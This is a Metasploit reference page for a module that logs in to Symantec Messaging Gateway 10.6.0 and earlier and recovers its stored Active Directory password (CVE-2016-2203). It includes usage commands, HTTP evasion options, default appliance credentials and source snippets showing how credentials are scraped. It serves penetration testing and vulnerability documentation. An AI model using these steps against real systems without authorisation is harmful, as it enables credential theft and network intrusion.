Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/symantec_brightmail_ldapcreds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability
Module: auxiliary/scanner/http/symantec_brightmail_ldapcreds
Source code: modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb
Disclosure date: 2015-12-17
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-2203

This module will grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed Symantec PBE key. Note that authentication is required in order to successfully grab the LDAP credentials, and you need at least a read account. Version 10.6.0-7 and earlier are affected

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/symantec_brightmail_ldapcreds
msf auxiliary(symantec_brightmail_ldapcreds) > show options
    ... show and set options ...
msf auxiliary(symantec_brightmail_ldapcreds) > set RHOSTS ip-range
msf auxiliary(symantec_brightmail_ldapcreds) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(symantec_brightmail_ldapcreds) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(symantec_brightmail_ldapcreds) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(symantec_brightmail_ldapcreds) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • USERNAME: The username to login as

  • PASSWORD: The password to login with

Knowledge Base


Symantec Messaging Gateway is an all-in-one appliance to secure email with real-time antispam, antimalware, targeted attacks, content filtering, data loss, and email encryption.

The management console of SMG can be used to recover the AD password by any user with at least read access to the appliance, which could potentially permit leveraging unauthorized, elevated access to other resources of the network.

Authentication is required to use symantec_brightmail_ldapcreds. However, it is possible to see SMG with using the default username admin and symantec.

Vulnerable Application


Symantec Messaging Gateway 10.6.0 and earlier are known to be vulnerable.

symantec_brightmail_ldapcreds was specifically tested against 10.6.0 during development.

Verification Steps


These verification steps assume you already have access to the vulnerable version of Symantec Messaging Gateway. During the development of symantec_brightmail_ldapcreds, Symantec was still providing 10.6.0 as a trial.

Installation

The 10.6.0 installation guide can be found here

Make sure you remember your username and password for Symantec Messaging Gateway before using the module.

Using the Module

Once you have the vulnerable setup ready, go ahead and do this:

  1. Start msfconsole
  2. Do: use auxiliary/scanner/http/symantec_brightmail_ldapcreds
  3. Do: set RHOSTS [IP]
  4. Do: set USERNAME [USERNAME FOR SMG]
  5. Do: set PASSWORD [PASSWORD FOR SMG]
  6. Do: run

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/symantec_brightmail_ldapcreds auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/symantec_brightmail_ldapcreds

msf6 auxiliary(scanner/http/symantec_brightmail_ldapcreds) > show info

       Name: Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability
     Module: auxiliary/scanner/http/symantec_brightmail_ldapcreds
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-12-17

Provided by:
  Fakhir Karim Reda <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD                    yes       The password to login with
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      443              yes       The target port (TCP)
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to Symantec Messaging Gateway
  THREADS    1                yes       The number of concurrent threads (max one per host)
  USERNAME                    yes       The username to login as
  VHOST                       no        HTTP server virtual host

Description:
  This module will grab the AD account saved in Symantec Messaging 
  Gateway and then decipher it using the disclosed Symantec PBE key. 
  Note that authentication is required in order to successfully grab 
  the LDAP credentials, and you need at least a read account. Version 
  10.6.0-7 and earlier are affected

References:
  https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00
  https://nvd.nist.gov/vuln/detail/CVE-2016-2203
  http://www.securityfocus.com/bid/86137

Module Options


This is a complete list of options available in the scanner/http/symantec_brightmail_ldapcreds auxiliary module:

msf6 auxiliary(scanner/http/symantec_brightmail_ldapcreds) > show options

Module options (auxiliary/scanner/http/symantec_brightmail_ldapcreds):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The password to login with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to Symantec Messaging Gateway
   THREADS    1                yes       The number of concurrent threads (max one per host)
   USERNAME                    yes       The username to login as
   VHOST                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/symantec_brightmail_ldapcreds auxiliary module:

msf6 auxiliary(scanner/http/symantec_brightmail_ldapcreds) > show advanced

Module advanced options (auxiliary/scanner/http/symantec_brightmail_ldapcreds):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            TLS1                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/symantec_brightmail_ldapcreds module can do:

msf6 auxiliary(scanner/http/symantec_brightmail_ldapcreds) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/symantec_brightmail_ldapcreds auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/symantec_brightmail_ldapcreds) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

147:	
148:	      return true if res
149:	    rescue ::Rex::ConnectionRefused
150:	      print_status("Connection refused")
151:	    rescue ::Rex::ConnectionError
152:	      print_error("Connection failed")
153:	    rescue ::OpenSSL::SSL::SSLError
154:	      print_error("SSL/TLS connection error")
155:	    end
156:	
157:	    false

SSL/TLS connection error


Here is a relevant code snippet related to the "SSL/TLS connection error" error message:

149:	    rescue ::Rex::ConnectionRefused
150:	      print_status("Connection refused")
151:	    rescue ::Rex::ConnectionError
152:	      print_error("Connection failed")
153:	    rescue ::OpenSSL::SSL::SSLError
154:	      print_error("SSL/TLS connection error")
155:	    end
156:	
157:	    false
158:	  end
159:	

Connection timed out while getting token to authenticate.


Here is a relevant code snippet related to the "Connection timed out while getting token to authenticate." error message:

218:	      },
219:	      'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
220:	    })
221:	
222:	    unless res
223:	      fail_with(Failure::Unknown, 'Connection timed out while getting token to authenticate.')
224:	    end
225:	
226:	    token = res.get_hidden_inputs.first['symantec.brightmail.key.TOKEN'] || ''
227:	
228:	    res = send_request_cgi({

Connection timed out while attempting to authenticate.


Here is a relevant code snippet related to the "Connection timed out while attempting to authenticate." error message:

242:	          'Connection' => 'keep-alive'
243:	        }
244:	    })
245:	
246:	    unless res
247:	      fail_with(Failure::Unknown, 'Connection timed out while attempting to authenticate.')
248:	    end
249:	
250:	    if res.headers['Location']
251:	      mlocation = res.headers['Location']
252:	      new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]

Connection timed out while trying to collect credentials.


Here is a relevant code snippet related to the "Connection timed out while trying to collect credentials." error message:

268:	      'lang'       => 'en_US'
269:	      }
270:	    })
271:	
272:	    unless res
273:	      fail_with(Failure::Unknown, 'Connection timed out while trying to collect credentials.')
274:	    end
275:	
276:	    if res.code == 200
277:	      login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''
278:	      password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''

Port is not open.


Here is a relevant code snippet related to the "Port is not open." error message:

284:	    end
285:	  end
286:	
287:	  def run_host(ip)
288:	    unless port_open?
289:	      print_status("Port is not open.")
290:	    end
291:	
292:	    sid, last_login = get_login_data
293:	
294:	    if sid.empty? || last_login.empty?

Missing required login data. Cannot continue.


Here is a relevant code snippet related to the "Missing required login data. Cannot continue." error message:

290:	    end
291:	
292:	    sid, last_login = get_login_data
293:	
294:	    if sid.empty? || last_login.empty?
295:	      print_error("Missing required login data.  Cannot continue.")
296:	      return
297:	    end
298:	
299:	    username = datastore['USERNAME']
300:	    password = datastore['PASSWORD']

Unable to login. Cannot continue.


Here is a relevant code snippet related to the "Unable to login. Cannot continue." error message:

300:	    password = datastore['PASSWORD']
301:	    sid = auth(username, password, sid, last_login)
302:	
303:	    if sid
304:	      print_good("Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
305:	      grab_auths(sid,last_login)
306:	    else
307:	      print_error("Unable to login.  Cannot continue.")
308:	    end
309:	  end
310:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Fakhir Karim Reda <karim.fakhir[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.